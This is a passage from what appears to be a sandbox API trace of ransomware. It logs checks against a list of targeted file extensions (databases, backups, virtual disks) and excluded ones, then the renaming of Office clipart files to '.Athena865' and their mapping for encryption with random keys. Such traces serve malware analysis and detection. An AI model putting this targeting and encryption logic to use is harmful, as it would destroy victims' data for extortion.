lpString2="Athena865") returned -1 [0129.492] lstrlenW (lpString=".dll") returned 4 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2=".dll") returned 1 [0129.492] lstrlenW (lpString=".lnk") returned 4 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2=".lnk") returned 1 [0129.492] lstrlenW (lpString=".ini") returned 4 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2=".ini") returned 1 [0129.492] lstrlenW (lpString=".sys") returned 4 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2=".sys") returned 1 [0129.492] lstrlenW (lpString="J0282126.WMF") returned 12 [0129.492] lstrlenW (lpString="bak") returned 3 [0129.492] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.492] lstrlenW (lpString="ba_") returned 3 [0129.492] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.492] lstrlenW (lpString="dbb") returned 3 [0129.492] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.493] lstrlenW (lpString="vmdk") returned 4 [0129.493] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.493] lstrlenW (lpString="rar") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.493] lstrlenW (lpString="zip") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.493] lstrlenW (lpString="tgz") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.493] lstrlenW (lpString="vbox") returned 4 [0129.493] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.493] lstrlenW (lpString="vdi") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.493] lstrlenW (lpString="vhd") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.493] lstrlenW (lpString="vhdx") returned 4 [0129.493] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.493] lstrlenW (lpString="avhd") returned 4 [0129.493] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.493] lstrlenW (lpString="db") returned 2 [0129.493] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.493] lstrlenW (lpString="db2") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.493] lstrlenW (lpString="db3") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.493] lstrlenW (lpString="dbf") returned 3 [0129.493] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.493] lstrlenW (lpString="mdf") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.494] lstrlenW (lpString="mdb") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.494] lstrlenW (lpString="sql") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.494] lstrlenW (lpString="sqlite") returned 6 [0129.494] lstrcmpiW (lpString1="26.WMF", lpString2="sqlite") returned -1 [0129.494] lstrlenW (lpString="sqlite3") returned 7 [0129.494] lstrcmpiW (lpString1="126.WMF", lpString2="sqlite3") returned -1 [0129.494] lstrlenW (lpString="sqlitedb") returned 8 [0129.494] lstrcmpiW (lpString1="2126.WMF", lpString2="sqlitedb") returned -1 [0129.494] lstrlenW (lpString="xml") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.494] lstrlenW (lpString="$er") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.494] lstrlenW (lpString="4dd") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.494] lstrlenW (lpString="4dl") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.494] lstrlenW (lpString="^^^") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.494] lstrlenW (lpString="abs") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.494] lstrlenW (lpString="abx") returned 3 [0129.494] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.494] lstrlenW (lpString="accdb") returned 5 [0129.494] lstrcmpiW (lpString1="6.WMF", lpString2="accdb") returned -1 [0129.494] lstrlenW (lpString="accdc") returned 5 [0129.495] lstrcmpiW (lpString1="6.WMF", lpString2="accdc") returned -1 [0129.495] lstrlenW (lpString="accde") returned 5 [0129.495] lstrcmpiW (lpString1="6.WMF", lpString2="accde") returned -1 [0129.495] lstrlenW (lpString="accdr") returned 5 [0129.495] lstrcmpiW (lpString1="6.WMF", lpString2="accdr") returned -1 [0129.495] lstrlenW (lpString="accdt") returned 5 [0129.495] lstrcmpiW (lpString1="6.WMF", lpString2="accdt") returned -1 [0129.495] lstrlenW (lpString="accdw") returned 5 [0129.495] lstrcmpiW (lpString1="6.WMF", lpString2="accdw") returned -1 [0129.495] lstrlenW (lpString="accft") returned 5 [0129.495] lstrcmpiW (lpString1="6.WMF", lpString2="accft") returned -1 [0129.495] lstrlenW (lpString="adb") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.495] lstrlenW (lpString="adb") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.495] lstrlenW (lpString="ade") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.495] lstrlenW (lpString="adf") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.495] lstrlenW (lpString="adn") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.495] lstrlenW (lpString="adp") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.495] lstrlenW (lpString="alf") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.495] lstrlenW (lpString="ask") returned 3 [0129.495] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.495] lstrlenW (lpString="btr") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.496] lstrlenW (lpString="cat") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.496] lstrlenW (lpString="cdb") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.496] lstrlenW (lpString="ckp") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.496] lstrlenW (lpString="cma") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.496] lstrlenW (lpString="cpd") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.496] lstrlenW (lpString="dacpac") returned 6 [0129.496] lstrcmpiW (lpString1="26.WMF", lpString2="dacpac") returned -1 [0129.496] lstrlenW (lpString="dad") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.496] lstrlenW (lpString="dadiagrams") returned 10 [0129.496] lstrcmpiW (lpString1="282126.WMF", lpString2="dadiagrams") returned -1 [0129.496] lstrlenW (lpString="daschema") returned 8 [0129.496] lstrcmpiW (lpString1="2126.WMF", lpString2="daschema") returned -1 [0129.496] lstrlenW (lpString="db-journal") returned 10 [0129.496] lstrcmpiW (lpString1="282126.WMF", lpString2="db-journal") returned -1 [0129.496] lstrlenW (lpString="db-shm") returned 6 [0129.496] lstrcmpiW (lpString1="26.WMF", lpString2="db-shm") returned -1 [0129.496] lstrlenW (lpString="db-wal") returned 6 [0129.496] lstrcmpiW (lpString1="26.WMF", lpString2="db-wal") returned -1 [0129.496] lstrlenW (lpString="dbc") returned 3 [0129.496] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.496] lstrlenW (lpString="dbs") returned 3 [0129.497] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.497] lstrlenW (lpString="dbt") returned 3 [0129.497] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.497] lstrlenW (lpString="dbv") returned 3 [0129.497] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.497] lstrlenW (lpString="dbx") returned 3 [0129.497] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.497] lstrlenW (lpString="dcb") returned 3 [0129.497] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.497] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.497] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.Athena865") returned 73 [0129.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.athena865"), dwFlags=0x1) returned 1 [0129.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.500] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15518) returned 1 [0129.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.501] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.501] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.501] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.501] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fa0, lpName=0x0) returned 0x154 [0129.503] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fa0) returned 0x100000 [0129.504] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.505] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.505] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.506] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0282928.WMF" | out: lpString1="J0282928.WMF") returned="J0282928.WMF" [0129.506] lstrlenW (lpString="J0282928.WMF") returned 12 [0129.506] lstrlenW (lpString="Athena865") returned 9 [0129.506] lstrcmpiW (lpString1="82928.WMF", lpString2="Athena865") returned -1 [0129.507] lstrlenW (lpString=".dll") returned 4 [0129.507] lstrcmpiW (lpString1="J0282928.WMF", lpString2=".dll") returned 1 [0129.507] lstrlenW (lpString=".lnk") returned 4 [0129.507] lstrcmpiW (lpString1="J0282928.WMF", lpString2=".lnk") returned 1 [0129.507] lstrlenW (lpString=".ini") returned 4 [0129.507] lstrcmpiW (lpString1="J0282928.WMF", lpString2=".ini") returned 1 [0129.507] lstrlenW (lpString=".sys") returned 4 [0129.507] lstrcmpiW (lpString1="J0282928.WMF", lpString2=".sys") returned 1 [0129.507] lstrlenW (lpString="J0282928.WMF") returned 12 [0129.507] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.Athena865") returned 73 [0129.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.athena865"), dwFlags=0x1) returned 1 [0129.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.512] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33126) returned 1 [0129.512] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.513] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.513] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.513] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8470, lpName=0x0) returned 0x154 [0129.515] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8470) returned 0x100000 [0129.524] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.527] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.527] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.530] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0282932.WMF" | out: lpString1="J0282932.WMF") returned="J0282932.WMF" [0129.531] lstrlenW (lpString="J0282932.WMF") returned 12 [0129.531] lstrlenW (lpString="Athena865") returned 9 [0129.531] lstrcmpiW (lpString1="82932.WMF", lpString2="Athena865") returned -1 [0129.531] lstrlenW (lpString=".dll") returned 4 [0129.531] lstrcmpiW (lpString1="J0282932.WMF", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".lnk") returned 4 [0129.532] lstrcmpiW (lpString1="J0282932.WMF", lpString2=".lnk") returned 1 [0129.532] lstrlenW (lpString=".ini") returned 4 [0129.533] lstrcmpiW (lpString1="J0282932.WMF", lpString2=".ini") returned 1 [0129.533] lstrlenW (lpString=".sys") returned 4 [0129.533] lstrcmpiW (lpString1="J0282932.WMF", lpString2=".sys") returned 1 [0129.533] lstrlenW (lpString="J0282932.WMF") returned 12 [0129.535] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.Athena865") returned 73 [0129.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.athena865"), dwFlags=0x1) returned 1 [0129.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.538] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14080) returned 1 [0129.538] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.538] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.538] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.539] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a00, lpName=0x0) returned 0x154 [0129.541] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a00) returned 0x100000 [0129.546] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.548] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.548] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.551] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285462.WMF" | out: lpString1="J0285462.WMF") returned="J0285462.WMF" [0129.551] lstrlenW (lpString="J0285462.WMF") returned 12 [0129.551] lstrlenW (lpString="Athena865") returned 9 [0129.551] lstrcmpiW (lpString1="85462.WMF", lpString2="Athena865") returned -1 [0129.551] lstrlenW (lpString=".dll") returned 4 [0129.551] lstrcmpiW (lpString1="J0285462.WMF", lpString2=".dll") returned 1 [0129.551] lstrlenW (lpString=".lnk") returned 4 [0129.551] lstrcmpiW (lpString1="J0285462.WMF", lpString2=".lnk") returned 1 [0129.551] lstrlenW (lpString=".ini") returned 4 [0129.551] lstrcmpiW (lpString1="J0285462.WMF", lpString2=".ini") returned 1 [0129.551] lstrlenW (lpString=".sys") returned 4 [0129.551] lstrcmpiW (lpString1="J0285462.WMF", lpString2=".sys") returned 1 [0129.551] lstrlenW (lpString="J0285462.WMF") returned 12 [0129.551] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.Athena865") returned 73 [0129.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.athena865"), dwFlags=0x1) returned 1 [0129.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.553] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14474) returned 1 [0129.553] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.554] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.554] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.554] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b90, lpName=0x0) returned 0x154 [0129.557] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b90) returned 0x100000 [0129.561] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.565] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.565] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.567] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285484.WMF" | out: lpString1="J0285484.WMF") returned="J0285484.WMF" [0129.568] lstrlenW (lpString="J0285484.WMF") returned 12 [0129.568] lstrlenW (lpString="Athena865") returned 9 [0129.569] lstrcmpiW (lpString1="85484.WMF", lpString2="Athena865") returned -1 [0129.570] lstrlenW (lpString=".dll") returned 4 [0129.570] lstrcmpiW (lpString1="J0285484.WMF", lpString2=".dll") returned 1 [0129.571] lstrlenW (lpString=".lnk") returned 4 [0129.572] lstrcmpiW (lpString1="J0285484.WMF", lpString2=".lnk") returned 1 [0129.575] lstrlenW (lpString=".ini") returned 4 [0129.576] lstrcmpiW (lpString1="J0285484.WMF", lpString2=".ini") returned 1 [0129.577] lstrlenW (lpString=".sys") returned 4 [0129.577] lstrcmpiW (lpString1="J0285484.WMF", lpString2=".sys") returned 1 [0129.578] lstrlenW (lpString="J0285484.WMF") returned 12 [0129.579] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.Athena865") returned 73 [0129.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.athena865"), dwFlags=0x1) returned 1 [0129.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.581] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9280) returned 1 [0129.581] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.581] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.581] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.582] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2740, lpName=0x0) returned 0x154 [0129.583] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2740) returned 0x100000 [0129.584] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.585] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.585] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.585] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285780.WMF" | out: lpString1="J0285780.WMF") returned="J0285780.WMF" [0129.585] lstrlenW (lpString="J0285780.WMF") returned 12 [0129.585] lstrlenW (lpString="Athena865") returned 9 [0129.585] lstrcmpiW (lpString1="85780.WMF", lpString2="Athena865") returned -1 [0129.586] lstrlenW (lpString=".dll") returned 4 [0129.586] lstrcmpiW (lpString1="J0285780.WMF", lpString2=".dll") returned 1 [0129.586] lstrlenW (lpString=".lnk") returned 4 [0129.586] lstrcmpiW (lpString1="J0285780.WMF", lpString2=".lnk") returned 1 [0129.586] lstrlenW (lpString=".ini") returned 4 [0129.586] lstrcmpiW (lpString1="J0285780.WMF", lpString2=".ini") returned 1 [0129.586] lstrlenW (lpString=".sys") returned 4 [0129.586] lstrcmpiW (lpString1="J0285780.WMF", lpString2=".sys") returned 1 [0129.586] lstrlenW (lpString="J0285780.WMF") returned 12 [0129.586] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.Athena865") returned 73 [0129.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.athena865"), dwFlags=0x1) returned 1 [0129.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.587] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31068) returned 1 [0129.587] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.588] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.588] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.588] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c60, lpName=0x0) returned 0x154 [0129.590] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c60) returned 0x100000 [0129.592] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.592] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.592] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.593] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0285782.WMF" | out: lpString1="J0285782.WMF") returned="J0285782.WMF" [0129.593] lstrlenW (lpString="J0285782.WMF") returned 12 [0129.593] lstrlenW (lpString="Athena865") returned 9 [0129.593] lstrcmpiW (lpString1="85782.WMF", lpString2="Athena865") returned -1 [0129.593] lstrlenW (lpString=".dll") returned 4 [0129.593] lstrcmpiW (lpString1="J0285782.WMF", lpString2=".dll") returned 1 [0129.593] lstrlenW (lpString=".lnk") returned 4 [0129.593] 